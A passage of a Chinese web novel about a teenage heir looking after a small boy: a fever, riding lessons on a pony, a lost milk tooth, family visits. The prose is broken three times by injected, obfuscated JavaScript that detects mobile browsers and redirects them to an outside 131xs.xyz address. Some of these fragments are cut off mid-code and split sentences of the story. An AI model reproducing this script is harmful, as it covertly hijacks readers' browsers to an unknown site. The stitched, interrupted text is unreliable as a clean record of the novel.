“哥哥,袖子湿了。” 墨时衍正站在柜子前,手里提着医药箱不知道在找什么,回头一看,小崽子何止是袖子湿了,是整个上衣都湿了一半,在他面前摊着两只手,表情还很无辜。 “怎么弄的,”墨时衍先把医药箱放下,过来摸了摸他裤子,还好裤子没湿,蹙着眉头问他,“不是去洗漱的么,玩水了?” 暮安可冤枉死了,指着浴室方向控诉:“我没玩水,台子太高了我够不到,是不小心弄湿的,不是故意的。” 墨时衍自己身体不太舒服,头疼的难受,没什么精力再管他,喊了钟姨上来。 钟姨给暮安拿了干净睡衣,还拿了个矮脚板凳,又带着暮安进了浴室。 暮安这回踩在凳子上高度合适了,可以弯着腰洗手洗脸,水也不会再流到衣服上。 他干干净净洗漱完,钟姨还给他脸上涂了儿童润肤乳,白白软软的脸蛋上现在冒着股甜甜香香的味儿。 钟姨走的时候准备把矮脚凳也拿走,黄色卡通图案跟这的简约冷淡风实在不搭。 暮安没让,抱着凳子在浴室里转来转去,想找个地方放起来,他下次还要用的,最后干脆直接放到了门后去。 从浴室出来后,暮安直接躺到了大床上,脸颊蹭着柔软的被单,把哥哥的被窝里也弄得香香的。 墨时衍还坐在桌前,特意把房内灯光调的暗了些,也去了浴室洗漱,出来的时候感觉药效好像有点上来了,头脑晕晕沉沉的,便也上床躺下了。 暮安还没睡着,翻了个身又爬起来。 墨时衍瞥过来一眼,见暮安不知什么时候又拿着个崭新的创可贴,撅着屁股趴到他面前,两手朝他伸过来。 “哥哥,手,手。” 他小脸认真,不睡觉像是就在等着这一刻。 墨时衍伤口处传来细细麻麻的痛感,被只手扯住了似的一下下遽缩。 他把左手抬着递过来,才发现好像不是伤口,是心口。 暮安睁大眼睛凑上去,血污已经被清理干净了,底下的口子像是被锐物划开的,大概十厘米长,现在已经不怎么渗血了,但看着还是有点骇人。 暮安眉头皱得紧紧的,又把那个小小的创可贴贴在原位,撤回手之前,嘴巴嘟成了个圈,靠过去在伤口上轻轻呼了几口气。 软软的,热热的。 呼完之后看着墨时衍问:“哥哥,有没有好一点?” 墨时衍像第一次应对这种关心,顿了下才说道:“好了很多。” 暮安有点开心,也有点骄傲,他把哥哥伤都给治好了,他真厉害。 关灯之后,他还翻来覆去有点睡不着。 墨时衍隔着被子在他身上轻轻拍了拍,暮安很快便老实了,没再乱动。 他在黑暗中睁开眼睛,看见身旁有道模糊的黑影轮廓,两手交叠着在脸颊下面垫着,又小声喊了句:“哥哥。” 墨时衍手臂搭在他身上,睡着了没再回应。 暮安也不生气,把他的手拿下去,又放回来,又拿下去,来来回回几次,墨时衍都没被吵醒。 暮安偷偷笑了笑,玩累了,也慢慢闭上了眼睛。 夜里的睡梦都是香甜的。 因为从今天开始,他和哥哥有了一个家。 7. 第 7 章 早上暮安醒来就感觉精神好多了。 床上只剩下他一个人,他自己换了衣服,揉着眼睛走出房门。 钟姨见他从楼上下来,赶紧过来迎他。 “小少爷,怎么醒的这么早,不再睡会了?” 暮安摇摇头,喊了句:“钟姨。” 钟姨脸上要笑开花了:“哎,哎,小少爷还是像这样会说会笑的好。” 暮安问道:“哥哥呢?” 钟姨笑容收敛了下,有点心虚:“他在书房呢,您要不先去吃早餐,吃完早餐再去找他。” 暮安知道哥哥在书房的时候不喜欢别人进去打扰,点了点头,把手给钟姨牵着去了餐桌。 即使他一个人吃饭,早餐还是十分丰盛,他先喝了一大杯牛奶,结果喝完之后肚子就有点饱了,吃了两口蟹黄卷就没再吃。 韩叔和钟姨一左一右在旁边给他夹菜,想让他再多吃几口,可惜墨时衍不在他是谁说也不听,饱了就是饱了,推开餐盘从椅子上跳下来。 以前在家里也是父母娇生惯养着长到了这么大,该有的那点娇纵的小脾气暮安现在倒是全都找回来了,他本能觉得这里是可以给他安全感的地方,所以再被宠坏点也没所谓。 被人在后面追着喂饭,他抿着小嘴跑得更快了。 墨时衍还在书房没出来,暮安很想进去找他,来到书房门口急地跟只小蚂蚁似的转来转去,又悄悄凑过去把耳朵贴在门缝旁,可惜什么都没听到。 哥哥从一大早就没出现,他觉得不对劲。 大人有事情想瞒着他可不是那么容易的,况且哥哥根本不算是大人,就是个大孩子。 他朝门边越趴越近,忽然“咔哒”一声响,书房门从里面开了。 暮安正靠在门上,身体随着打开的房门一起栽了进去,他微微瞪大眼睛,幸好还没摔在地上的时候被人提了把后衣领直接捞起来。 领口一半卡在了他肉嘟嘟的小脸上,他站稳后惊魂未定的拍了拍胸脯,抬头便看见墨时衍正在盯着他,脸色看起来不怎么好。 原来书房里还有旁人在,穿了身白大褂,看着像是医生,他这样冒冒失失摔进来实在很没礼貌。 但墨时衍没说他什么,只是给他整理了下衣领。 医生对这一突发状况笑了笑,转头对墨时衍交代道:“下次再有信息素不稳定的情况要第一时间通知我,你发烧不止是因为伤口,而且你先前用的药物都是alpha专用的,对你来说效果不明显,虽然你才分化没多久,但很多事情要多注意。” 墨时衍抬手按了按自己颈后贴着的纱布,“嗯”了声。 医生又道:“你弟弟不是有些表型加速症状吗,你们两个平常相处一定要小心点,千万别让他感受到你的信息素,你的等级太高,对他的危害性应该更大。” “嗯。” “今晚先观察一下,要是体温还降不下来再给我打电话。” “好。” 医生最后看了眼暮安稚嫩漂亮的小脸,见他浅褐色的大眼睛里满是懵懂和疑惑,还想再多嘱咐几句,但是又觉得没什么用处,便提着箱子离开了。 医生走后,暮安赶紧拉着墨时衍的胳膊,踮着脚努力去够。 “哥哥,你低下来一点。” 其他的暮安是没听懂,但是发烧这两个字他听明白了。 墨时衍把他手放下来:“你吃过早餐没有?” “吃了吃了,”暮安又举起另只手,“我摸摸你的额头,你是不是发烧了?” 墨时衍掌心很热,干脆把他两只小手都攥住,问他:“吃了多少?” 暮安随口回答:“很多很多,哥哥别问了。” 他看见墨时衍受伤的左臂已经用白色纱布包扎好了,用手在上面轻轻摸了摸,拉着墨时衍便朝楼上走。 “生病了不能乱跑,你快去床上躺着休息。” 墨时衍一开始不肯顺着他的力气往前走,暮安就在背后使劲使劲推他的腿,身体和地板都快亲密接触了,看样子是使了吃奶的劲。 推也推不动,又跑到前面来拉他手。 两人在客厅像拉锯战,墨时衍虽然头晕眼花,后颈的腺体也疼得要命,但是看暮安围着他团团转的样子,没忍住弯了唇角,一小步一小步配合着挪动。 暮安就这么一会推腿,一会拉手,还真把墨时衍赶回了卧室,等他躺上床后,又赶紧把被子拉过来给他盖上,还跑到床尾去把他的腿和脚也一并盖进去。 爬到床上,跟个小大人似的摸了摸墨时衍的额头,和自己的对比了下。 “好烫啊,真的发烧了,”暮安急匆匆跳下来往门口跑,“要吃药才行,我去拿。” 墨时衍叫住他:“哥哥吃过药了,没事的,一会烧就会退了。” 一大早医生就在书房给他做舒缓治疗,他发烧不是单纯因为受伤,吃药没用,得控制住信息素水平。 暮安不放心,问道:“真的不用再吃一点了吗?” 墨时衍告诉他:“药不可以多吃,生了什么病吃什么药就够了。” 暮安觉得有道理,点点头,又问:“那你肚子饿不饿,你还没有吃早餐,要吃一点早餐吗?” 墨时衍没什么胃口,说道:“不用了。” 暮安还扒在门框上:“那要不要喝一点水呢?” 他像是非得照顾好墨时衍,要是不答应不知道还能闹出什么花招。 墨时衍干脆说:“帮我倒一点吧。” 暮安得令:“好!” 转身噔噔噔去倒了杯水,说一点果真就是一点,像是很着急,玻璃杯一半都不到,两手捧着风风火火跑回来了,递给墨时衍。 “哥哥喝水。” “谢谢。”墨时衍接过去,当着他的面喝了口。 暮安跪趴在床沿边上,两只手撑着脸颊,眼睛一眨不眨地盯着,等墨时衍喝完之后又把杯子接过来放好,然后继续撑着脸看他。 墨时衍躺回床上,感觉脸上快被看出个洞来,说道:“你出去玩吧,可以看电视。” 暮安摇头:“不看了,你生病了,我得照顾你。” 墨时衍:“我睡会就好了,不用你照顾。” 暮安点头:“用的用的,哥哥睡觉,我在旁边照顾就好,不会打扰你的,我会小声一点。” 他有自己的坚持,墨时衍赶不走他,由着他去,头也确实还晕的厉害,闭上眼睛没一会就真的睡着了。 暮安确实就安安静静在旁边盯着看,他总是比寻常小孩多了些专注力和耐心,说不会打扰就是不会打扰,一点声音都没出,连呼吸都轻轻浅浅的,怕把哥哥吵醒。 但是看人睡觉不是什么有意思的事情,看着看着,暮安自己也打了个哈欠,身子慢慢朝着一旁软乎乎的被褥上倒去,趴在墨时衍身旁也睡了。 主卧门没关,钟姨好半天没听到暮安的动静,围着家里到处找了圈,最后在墨时衍房门口看到了。 床上一大一小两个孩子,睡得正香。 她在门边欣慰的看了会,帮忙把门带上了。 墨时衍的烧睡了一觉总算退下去了,家里松了一大口气的人看起来是暮安。 但他还是一会就要过来摸摸墨时衍额头,但凡再有一点起热的预兆,都要立马把人赶到床上去躺着。 在他的概念里,发烧生病了就是很严重的事,只能躺着休息,别的什么也不准干。 这两天他还是睡在墨时衍房里,快形成习惯了,一些儿童用品也被慢慢挪到了主卧来。 先是洗手台上多了个米黄色小牙刷杯,里面插着支儿童电动牙刷,还有荔枝味的牙膏。 对于他为什么那么喜欢荔枝这事无解,墨时衍只是告诉韩叔和钟姨,按照他的喜好来就可以。 现在暮安可以自己在墨时衍的浴室里洗漱了,他有秘密武器——矮脚凳,从此再也没因为洗脸洗手把衣服弄湿过。 墨时衍一开始还不知道,暮安洗漱完举着袖子从浴室出来,跑到他面前一边甩一边显摆。 “哥哥,哥哥,你看。” 他把干干净净的袖子在墨时衍腿上蹭蹭,一脸骄傲:“没有弄湿哦。” 墨时衍又摸摸他的上衣,果然连滴水都没溅上,便不吝夸赞:“安安真棒。” 暮安得意忘形,还要去跟钟姨和韩叔炫耀一下,这么点小事恨不能闹得岛上所有人都知道。 钟姨和韩叔也爱惯孩子,墨时衍性格不亲人,从小就成熟话少,过得独,但暮安简直是完全相反,顶着张软软白白的漂亮小脸过来要夸奖,谁能忍得住不夸? 直到有次暮安洗漱慢了点,墨时衍走到浴室门口,亲眼看见暮安从凳子上蹦下来,抱着凳子偷偷摸摸塞到了门后的空格里。 一抬头,正好被墨时衍抓了个正着。 “这是什么?” 墨时衍越过他,俯身把那个小矮脚凳拿起来。 暮安一惊,跳着过来够:“这是我的东西——” 墨时衍随便把手举高点他就够不着了:“知道是你的东西,我是问这是用来做什么的?” 暮安比量了下自己和哥哥的身高,有点不服气,就算他踩着凳子还是比哥哥矮一大截。 “是我用来坐的。” 天塌下来有暮安的硬嘴顶着。 “哦,用来坐的,”墨时衍起了逗弄小孩的坏心思,笑着低头看了他一眼,把凳子举过头顶,拿着走出浴室,“外面地方大,以后坐在外面就行了,不用放浴室里。” 暮安急了,跟在后面嘟嘟囔囔:“不行不行,得放在里面,不然下次我不方便拿了…… “哥哥,快点还给我,我还要放在门后面!” “是我坐,不是哥哥坐,我想放在哪里就放在哪里……” “怎么还不还给我啊,别举那么高了,要是不小心摔坏了我就没得踩了,钟姨就只给我找了这一个。” “哥哥——还给我吧还给我吧——” 他两手抱着墨时衍大腿,拖长了音调喊他,磨人似的一连喊了好几声,圆溜溜的小猫脑袋跟着一块摇摇晃晃。 眼睛眨巴眨巴,惹得人心都化了。 墨时衍很快妥协,手放下来,凳子还给了他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051693|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 暮安抱着赶紧放回原地,墨时衍靠在门边看着他,末了悠悠说了句:“原来是用来踩的啊。” 猫猫祟祟的暮安:“!” 是谁把他秘密泄露了! * 雨又是一下好几天,暮安照旧不被允许出门,但好在他和哥哥之前有约定。 他可以看一整天的动画片,哥哥说了不管。 除此之外,钟姨还给他端上来一小盘新鲜荔枝,红艳艳的外壳看起来就诱惑得很。 暮安咽了咽口水,小心翼翼地品尝了两个,砸吧砸吧嘴巴,把嘴唇舔得红红的,自己抽了湿巾擦干净手,竟然就没再吃。 钟姨问道:“小少爷是不是不喜欢这次的品种?和之前买的确实不太一样,但这个更贵更甜的啊,而且今早才有人专门送来的,难道不好吃了?” 暮安摇头:“好吃的。” 钟姨:“那怎么不吃了?” 暮安反过来告诉钟姨:“小孩子不能多吃,会上火的,而且应该多喝水。” 他说完就跑去把自己水杯拿来喝了两大口,擦擦嘴巴继续看电视了。 看了整整一天,最后关掉电视机的时候后板都发烫。 墨时衍果然没管他,暮安晚上睡得心满意足。 第二天起来又要准备看一整天,谁知道才看了一个小时,墨时衍就忽然从书房出来,径直过去把电视关了。 暮安正舒舒服服瘫在沙发上,震惊不已地望过来。 墨时衍对他道:“别看了,休息下眼睛。” 暮安看他拿着遥控器要走,跳下来拉住他衣角,声音弱弱的:“不是说了让我看一整天的吗?” “是一整天,”墨时衍说道,“不是两整天。” 暮安懵了:“啊……” 什么意思啊…… “昨天已经看过了,今天只能看一小会。” 墨时衍把他手无情扯开,进了书房。 暮安还傻傻站在原地,不知道自己是怎么被坑的,过了会见墨时衍从书房回来了,手上没带遥控器。 他闷哼了声,坐到沙发上背过身,决定不跟言而无信的人讲话。 墨时衍不知道拿了个什么东西,过来往他脑袋上一放,把他眼睛罩住了,他正想摘下来,被只手一拦。 “别乱动,这是理疗仪,保护好眼睛,不然以后近视了不给你配眼镜。” 暮安还是不服气:“我看电视的时候离得很远,不会近视。” 墨时衍告诉他:“闭上眼。” 暮安还是乖乖把眼睛合上了。 墨时衍问道:“眼睛疼不疼。” 理疗仪好像在发热,暮安觉得眼前烫呼呼的,还有滚珠在刮他的眼眶,他委屈道:“疼,疼,哥哥,眼睛疼……” 墨时衍把挡位调小了点:“快近视的人才会感到眼睛疼,你眼睛要是再这么看下去早晚会坏掉,到时候配眼镜也没用。” 暮安“啊”了声,小声问:“那就是要变成瞎子了吗?” 墨时衍:“是。” 暮安老老实实戴着理疗仪不动了。 他不要近视,更不要变成瞎子,只能每天少看点电视了。 好在雨天很快过去,天气转好,暮安不用整天呆在房子里,可以出来玩了。 整座小岛上只有这一座庄园,晴天碧树,站在树下就能看到远处的蔚蓝海岸线和粉红珊瑚海,还有围绕在海滩边成群结队低空盘旋的海鸥,耀目的阳光照在粼粼海面,澄澈海水美得像是透明果冻一样。 庄园内很大,有喷泉草坪、果树花圃,光是肉眼看到的地盘都够暮安玩的。 最近墨时衍一直很忙,许多事情都需要他以第一继承人身份决策或出席,赵舟经常带着律师团队上门来,有时候是接墨时衍出去。 即使哥哥不在家,暮安也只会看一个小时的动画片,时间到了就乖乖关掉电视去玩玩具,或者画画,自我管理意识已经逐渐有了雏形。 为了奖励他优秀的表现,墨时衍抽了个空准备教他骑马。 本来马厩里是空的,马场只是摆设,但墨时衍有天看见暮安在画本上画了只四脚兽,看着像只小马。 他想了想,给赵舟打电话,问能不能弄几匹真的过来。 墨时衍很少有这种玩心,别的富家子弟玩车的,玩飞机的,玩船的都有,只是几匹马而已,赵舟没说二话,很快就办妥了。 暮安知道要骑小马的时候兴奋极了,头一天晚上都没睡好,早上也早早醒了,在墨时衍还没起床的时候就自己洗漱完换好衣服站在床尾等。 但墨时衍看了看他身上的背带裤,让他换下来,给他找了身合适的衣服,试了好半天,外面还给他套了件浅棕色带流苏的小马甲,脚上换了双小靴子。 出门的时候见外面太阳大,把自己头上的帽子给他戴上了。 暮安脑袋小,戴着哥哥的帽子晃里晃荡,巴掌大的小脸被宽大帽檐遮住,眼睛也被盖住,一仰头,只露出来白白的小下巴。 “哥哥,”他求救道,“你的帽子太大了,我看不见路啦,怎么骑马呀?” 8. 第 8 章 墨时衍俯身下去,将帽子调整下角度,下巴处的抽绳拉紧。 暮安把脸上的头发巴拉到一边去:“好了好了,能看见了。” 墨时衍看他小小一个人,结果脑袋上顶了个大上好几个号的牛仔帽,帽檐能比他肩膀还宽,便屈指在他头顶点点:“下次哥哥给你买个新的。” 暮安连连点头:“那我要和你这个一样的。” 墨时衍笑了下:“小学人精。” 暮安理直气壮:“我又没有学别人,我和哥哥穿一样的衣服,戴一样的帽子,哥哥穿大号我穿小号,这样我们出门的时候别人一看就知道我们是一家人啦。” 墨时衍拉着他往草坪马房的位置走,听了他的话一时没回应,暮安像个小复读机,晃着他的手不停问他:“哥哥你说是不是,是不是啊?” 要是得不到满意回答,他会一直坚持不懈缠着追问,直到墨时衍说是,他才高高兴兴接过来青草跑去喂小马。 墨时衍越来越明白当时院长给他的那堆资料里写的高需求宝宝是什么意思,暮安确实从小就比其他孩子难带些,敏感爱哭,情绪表达强烈,对环境感知敏锐,成长过程中需要家长加倍的耐心和陪伴,现在的他已经比以前懂事了太多。 在福利院的那段时间其实暮安已经有点形成自我封闭,不讲话是他潜意识里在表达对周围环境的不适和一种无声抵抗,那里的人虽然都对他很好,可是他们都不是他的家人。 直到被墨时衍接回家,他内心自我铸就的坚硬躯壳慢慢泄开了丝缝隙,被舒适的安全感浓浓包裹着,暮安对墨时衍越来越亲近依赖,也越来越需要他的高度关注和回应。 此刻在墨时衍目不转睛的注视下,暮安已经跟自己的白金小汗血搂一块了。 专门挑的性格温顺亲人的小马,暮安喂了它几口青草,它就已经知道低着头主动让暮安摸脑袋,搞得暮安兴奋不已,两只手还搂不住小马的脖子,只能踮着脚去够。 “你长得好漂亮啊,小马,”软乎乎的脸颊在小马身上蹭蹭,“你的眼睫毛也是白色的,真好看。” 小马喉咙里忽然发处几声轻吼,暮安吓了一跳,猛地往后躲,被墨时衍扶住了肩。 见有人撑腰,暮安扭头抱着墨时衍大腿就告状:“哥哥,它好像不喜欢我,我给它喂草它怎么还吼我?是不是不想让我骑?” 墨时衍顺了顺小马漂亮柔顺的鬃毛,跟暮安解释:“它是喜欢你才跟你打招呼。” 暮安瞪大眼睛:“啊?刚才那么凶是在打招呼吗?” “是,”墨时衍拉着他的手一起在马背上轻柔抚摸,“不信就自己感受一下。” 掌心下的皮毛被打理的油光水亮,还带着温热,指尖像是能触摸到阵阵跃动的心跳声,小马也乖巧温顺极了,靠近过来,湿热的鼻息喷在暮安脸颊旁,然后亲昵地在他脸上舔了舔。 暮安脸蛋痒痒的,忍不住眯着眼睛笑。 哥哥的手一定有魔力,居然能把小马也驯服。 墨时衍问他:“还要骑么?” “要要,”暮安知道自己上不去,冲墨时衍张开手臂让他抱,“我要骑。” 墨时衍把他抱上马背,让他拉着缰绳坐稳,牵着小马带他走出马房,在外面的草坪上转了两圈。 暮安第一次骑马神气的不行,觉得自己是个雄赳赳气昂昂的大侠,连腰杆都挺得绷直。 哥哥暂时就当他的马夫吧,大侠都得有马夫。 但是随着小马颠来颠去,暮安头顶的帽子也晃来晃去,又总是挡眼,暮安只能一会左手推一下,一会右手扶一把。 他瘪了瘪嘴,觉得这样有点不酷。 墨成霄的车开进庄园大门的时候,马夫墨时衍正牵着大侠暮安转第三圈。 一家三口提前打了招呼要来拜访,车还没停到别墅楼前,墨轩竹就已经眼尖的看见了坐在马背上的暮安,赶紧降下车窗冲着外面大喊:“安安!安安——” 暮安扶着帽檐朝这边望,认出来是他的好朋友,也立即挥手打招呼,谁知道帽子扣下来盖住了脸。 “轩轩,我在这里——” 听到又软又甜的呼喊声,车上三人愣住。 墨轩竹转过头,满脸疑惑:“妈妈,安安弟弟为什么会说话?” 蓝悦白了他一眼,懒得搭理。 客人来了不能再只顾着自己玩,暮安从小马上下来,被墨时衍牵着过来打招呼。 他还用手推着自己帽子,雪白小脸上热出点汗,两颊红通通的,弯着眼睛冲大人很乖地笑:“叔父叔母好。” 墨成霄和蓝悦顿时心都要化了,蓝悦道:“安安也好,都会骑马啦,怎么那么棒。” 暮安谦虚道:“我才刚开始学呢。” 墨成霄也夸他:“刚才我看那架势已经很像那么回事了,你时衍哥哥以前在美国练过专业马术,教你肯定小菜一碟。” 暮安抬头看了哥哥一眼,眼神中满含欣喜和崇拜,原来哥哥那么厉害,怎么都没告诉他,当个马夫真是大材小用。 墨成霄和蓝悦过来主要是为了祭奠老爷子,墨时衍带他们去后山,让暮安先招待墨轩竹玩会,有钟姨照看两个小崽子。 墨轩竹对暮安的小马很感兴趣,暮安便大大方方带他过去看。 “这真的是你的小马?”墨轩竹还有点不相信。 暮安点头:“真的,哥哥送我的。” 墨轩竹摸着小马身上软软的鬃毛,十分羡慕的说道:“要是我也有个哥哥就好了,我也让我哥送我一只小马,但我不喜欢白色的,我要黑色的,我觉得黑色还是更帅一点。” 暮安蹙起眉头,过去捂住小马耷拉下来的耳朵,小声安慰道:“没有啊,你也很帅的。” 墨轩竹歪理一大堆,忽然就想通了:“对啊!时衍哥哥也是我哥哥啊,我要让时衍哥哥送我!” 谁知道暮安听了当即替他哥拒绝:“不行。” 墨轩竹没戴帽子,一屁股在草坪上坐下来,自己扇了扇风:“怎么不行?” 暮安也坐在他和小马中间,特意将他们隔开,说道:“不行就是不行,你让别的哥哥给你送。” 墨轩竹思来想去,一是他们家早就从墨家分出来了,他没有别的哥哥,二是就算他有,别的哥哥也没时衍哥哥这么有钱啊。 墨轩竹得出个结论:“安安,你不能这么自私。” 暮安转过头,一双水汪汪的大眼睛在阴影下瞧着他。 墨轩竹跟个大人似的,语重心长道:“你总不能把时衍哥哥霸占着吧,我们两个可是都姓墨,我们才应该更亲近才对,你姓暮啊,你跟我们其实根本不是一家的。” 暮安想了想,这确实是实话,但是哥哥怎么能跟别人更亲近? 而且他和哥哥已经约定好了做对方的家人,当时墨轩竹不在场,这事他不知道也情有可原吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“叫一声呗,就叫一声也不行吗?时衍哥哥又不在这里,他不会知道的。” “那也不行。” 墨轩竹为了听这一声哥都快给他跪下了:“求求你了安安,我们不是好朋友吗,你帮帮忙吧帮帮忙吧……” 暮安自己就是个小磨人精,却不喜欢被别人磨,干脆抱着水壶站起来跑了。 墨轩竹在后面追着他喊“求求你了求求你了”,追着暮安从左跑到右,从东跑到西。 一旁的小马见两个小孩又跑起来了,便也主动加入这场“比赛”。 暮安一边跑一边回头看了眼,生怕被墨轩竹缠上,谁知道再转回来,迎面却有个白花花的东西直接撞到了他身上。 他脑袋在水壶上磕了下,这回水倒是都洒出来了,他衣服比墨轩竹的还湿,耳边还听到了“叮当”一声响。 他低头看了眼水壶,里面居然躺着一颗小小的白色物体,他舔了下嘴唇,惊愕地发现那是他的牙齿。 不远处的墨时衍和墨成霄夫妇已经从别墅区走过来。 暮安看见熟悉的身影,眼眶顿时变红,泪水再也包不住了,清凌凌地顺着脸颊稀里哗啦淌下来。 他抿着嘴,抱紧水壶朝墨时衍跑过去。 墨时衍见他哭得惊天动地,还不知道发生了什么,快走几步过来将他一把抱进怀里,一边给他擦眼泪一边问:“怎么了安安?” 暮安把脸藏到他肩上,嘴巴露着风,悲痛欲绝地哽咽道:“哥,哥哥……小白……把我的牙撞掉了,呜呜呜呜……” 9. 第 9 章 蓝悦把一脸心虚的墨轩竹抓过来,她最知道自己儿子什么臭德行:“你说,这事是不是你干的?” 墨轩竹支支吾吾:“我,我……” 要是他不逼着暮安喊哥哥就好了。 暮安暂且止住眼泪,从墨时衍肩上抬起头,一手捂着嘴说道:“叔母,小白是我的小马,不是轩轩。” 蓝悦看着儿子:“跟你一点关系都没有吗?” 暮安抽泣两下,帮忙回答:“没,没有。” 墨轩竹没想到暮安不仅没把他供出来,还帮他说话,感动的不行,觉得暮安简直天下第一最讲义气。 墨时衍看着怀里一张湿漉漉泛着水红色的小脸,用手掌给他擦了擦泪痕,把他手拉下来:“掉了哪颗牙,给哥哥看看。” 暮安死死捂着嘴不肯松,哭唧唧道:“别看别看,太丑了……” 他用舌头舔一下都知道是自己左边那颗门牙,虽然没流多少血,但肯定丑得要命。 钟姨在后面跟着过来,把暮安怀里的水壶拿过去,里面的水倒出来,那颗洁白的小乳牙就静静躺在手心。 她笑着道:“小少爷别伤心了,你的门牙就算不被小白撞一下也会掉的,因为你这是换牙了。” 几个大人一听,像是都松了口气。 蓝悦摸着墨轩竹的脑袋:“轩轩比安安大半岁多都还没开始换牙呢,已经被安安赶上喽。” 墨轩竹不懂,抱着蓝悦的腿问换牙到底是怎么回事,蓝悦给他解释了一通。 墨时衍还是有点担心,握着湿乎乎的小手拽下来,让暮安张嘴给他看。 暮安扭过脸,背对着其他人,只肯给哥哥一个人看。 他张大嘴巴,一排整齐漂亮的小牙齿果然缺了个口,现在成了黑洞洞的一块。 墨时衍捏着他下巴上上下下检查了番,确认只掉了这一颗。 暮安给他看了几眼就不给看了,抿着嘴小声道:“好了好了,看完了。” 他是个爱干净爱漂亮的小孩,向来在意自己形象。 “没事,”墨时衍扶正他的帽子,安慰道,“不丑,很快就能长出来。” 暮安带着点委屈的鼻音:“长不出来怎么办呢?” 那他岂不是得一辈子顶着口豁牙。 墨时衍捏了捏他还带着湿意的脸蛋:“哥哥说能就能。” 暮安知道哥哥肯定不会骗他,已经差不多被哄好了。 墨轩竹过来拉拉暮安的裤腿,语气讨好:“安安,你的牙真长不出来了也没关系,我把我的掰掉一个给你安上。” 暮安想象了下那个画面,被戳到了伤心处,嘴一撇,眼泪说来就来,哇一声又哭了。 蓝悦把墨轩竹押回去,在他屁股上来了下:“这回是你惹的,可没冤枉你吧。” 墨时衍只能再一边给暮安擦眼泪一边轻声哄,暮安趴回他肩膀,眼泪也全都擦到他衣服上,又惨又可怜的说道:“哥哥,我不要,我不要安他的牙,肯定很丑,还不如掉了呢……” 小孩的想法简直让人哭笑不得。 墨时衍问道:“哥哥的换给你可以么?” 暮安又考虑了下,这回同意了:“好……” 哥哥的好看。 墨轩竹本来还想留下来住几天,跟暮安一起在大庄园里玩,顺便求时衍哥哥也送他一匹小马,但墨成霄跟蓝悦不同意,怕墨时衍一个人顾不了俩孩子。 临走前墨成霄专门把墨时衍叫到一边去,对他道:“家里没个大人,很多事都需要你自己考虑,叔父就提醒你几句,你回来也有段时间了,美国那边的学业准备怎么办?” 墨时衍之前在美国读的是全球top2大学的天才班,不是有权有势就能进得去,墨成霄不想他浪费这样好的机会和坦途前程,老爷子遗嘱已经写明等墨时衍成年后会自动继承他在墨氏的所有股份,成为墨氏新一任掌权人,这期间墨时衍只需要按照之前的既定轨迹好好长大就好。 但是看着面前成熟稳重,却也越来越沉默寡言的少年,墨成霄说不心疼是假的。 不到一个月,墨时衍看起来清瘦了很多,暮安不在身边的时候,眉眼间总有几分阴沉。 “我提交了退学申请,”他平静道,“回国内读。” 墨成霄惊讶:“回来读,以后不去美国了?” “暂时留在这,”墨时衍道,“墨氏总部移去海外前,根基就曾经深扎在港市,这里是我出生的地方,墨氏发迹的源头,我想,爷爷在最后那刻或许是想回来的。” 墨老爷子虽然人没回来,但每年墨氏投资捐助用于建设这座城市的善财从没断过。 墨成霄问道:“二房的知不知道你已经回来了,还不准备走了?” 墨时衍冷淡道:“应该快了。” 他没让赵舟继续瞒着消息,遗产和集团股权的继承都已经是板上钉钉,其他人再想动摇已经没了可能。 墨成霄还想再说什么,但看他心有城府,说不定想的已经比自己还要周到,毕竟他一直跟在老爷子身边,对墨家错综复杂的现状肯定比自己这个“外人”要明了的多,便做了罢。 至于暮安的问题,更没必要再提,之前他对墨时衍的明示已经够清楚,既然他选择把暮安留在身边就说明了一切,墨成霄把他当成个大人一样看待,尊重他的想法和决定。 墨轩竹依依不舍地跟着父母走了,暮安也从钟姨那里要回来自己的牙齿,两只手小心翼翼捧着上了楼,放到了自己的小百宝箱里存下。 少了颗门牙,不美观倒是其次,说话漏风,喝水漏水,吃饭漏饭,而且钟姨还告诉他不可以乱舔缺口,不然以后长出来的牙齿会歪掉,很丑很丑。 吓得暮安每天都强忍着舔的冲动,管好自己的小舌头。 他因为少了颗牙食量都小了,韩叔和钟姨疼孩子,也不用他自己动手,一边一个哄着他多吃点,给他挑了点软和好咬,不费门牙的。 暮安挑食更严重了,左一个不吃右一个不吃,耷拉着小脸,嘴巴紧紧抿着。 墨时衍从书房过来,见暮安身边围了好几个人,吃个饭搞得兴师动众,便说了句:“让他自己吃。” 韩叔跟钟姨对视一眼,放下碗筷到一边去了。 暮安本来就心情不好,觉得哥哥刚才的语气有点凶,自己抱着碗低下头,只留个圆溜溜的头顶给墨时衍。 墨时衍看他脸都快埋进去,问他:“怎么不吃了?难道以后每顿饭都要人喂么?” 刚来时候明明还没这毛病,现在吃饭都成困难户了,难伺候的很。 暮安还是不说话,低着头开始使劲往嘴里扒饭,赌气似的故意一口菜也不吃。 他哪有每顿饭都要人喂。 墨时衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051695|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了他一会,见他两颊都塞得鼓鼓的,从碗边上露出两道可爱的弧度,一时没忍住伸了只手过来,把他的饭碗按下去,再用手掌托着他下巴强行抬起来。 